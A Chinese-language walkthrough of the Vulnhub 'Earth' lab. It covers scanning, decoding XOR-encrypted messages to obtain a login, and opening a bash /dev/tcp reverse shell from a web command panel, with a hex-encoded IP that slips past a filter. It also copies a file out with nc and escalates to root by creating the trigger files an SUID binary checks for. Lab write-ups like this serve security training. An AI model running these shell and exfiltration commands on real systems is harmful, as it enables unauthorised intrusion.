The Planets: Earth-Vulnhub靶场

下载靶机：下载地址
下载后直接在vm打开，把靶机和kali网络配置成NAT模式。
开启靶机，查看MAC地址。

打开kali使用命令arp-scan -l查看靶机ip：192.168.195.132

nmap -A 192.168.195.132

查看开放的端口，能看到打开了80和443端口，443端口还有两个DNS地址

尝试查看ip页面，发现什么也没有，这里需要把两条DNS地址写到hosts文件里
需要用到命令vim /etc/hosts进入后点i开始编辑，添加完成后点esc退出，最后输入：wq保存并退出

cat /etc/hosts查看编辑后的host
访问https://earth.local与https://terratest.earth.local
在https://earth.local最下面发现了三段加密信息

另外一个没有发现什么有用的信息。

dirb https://earth.local/
dirb https://terratest.earth.local/

扫描两个站点目录

访问https://earth.local/admin/login 是一个登录地址

访问https://terratest.earth.local/robots.txt 发现一个比较特别的
Disallow: /testingnotes.* 尝试后发现是一个testingnotes.txt，查看得到相应提示

翻译一下

得到一些信息，三段信息可能使用的是XOR算法进行的加密，曾经发送过信息，存在一个txt的测试加密，可以通过这个txt获得加密方式，用户名是terra，密码目前未知。访问testdata.txt

使用网站https://gchq.github.io/CyberChef/ 可以解出3段密码
也可以写脚本，这里我用的是网站：先将previous message从16进制数转化为UTF-8，再与message进行XOR运算，message就是testdata.txt的内容,XOR运算也使用UTF-8编码
把testdata.txt的内容写到XOR的key中，第三段解出了需要的东西，查看发现是重复的内容，可能是登陆密码

尝试登录

尝试输入一些命令ls，发现可以执行，尝试反弹shell

bash -i >& /dev/tcp/192.168.195.128/1234 0>&1  

发现不能用，上网搜索后知道了这里要把ip进行16进制编码

bash -i >& /dev/tcp/0xc0.0xa8.0xc3.0x80/1234 0>&1    

使用find命令查找一下flag

find / -name "*flag.txt"

查看可以得到user_flag
现在只有网站权限，尝试提权到root先看下suid有些什么信息,看到这个命令

find / -perm -u=s -type f 2>/dev/null

使用这个命令，看到一条信息：大概意思是修改root密码为Earth

尝试执行reset_root提示触发器不存在，

由于靶机没有ltrace，所以将/usr/bin/reset_root传到本地分析

kali攻击机监听2222端口，并将接收到的内容重定向到文件reset_root

nc -lvvp 2222 > reset_root

靶机上将/usr/bin/reset_root文件的内容通过nc重定向到攻击机的2222端口

nc 192.168.124.129 2222 < /usr/bin/reset_root

可以看出会检查触发器是否存在为条件，这里就是/dev/shm/kHgTFI5G、/dev/shm/Zw7bV9U5、/tmp/kcM0Wewe这3个文件夹都需要存在

那么在靶机上创建这三个文件夹，再执行reset_root，成功重置root密码为Earth

这里可以登录拿到flag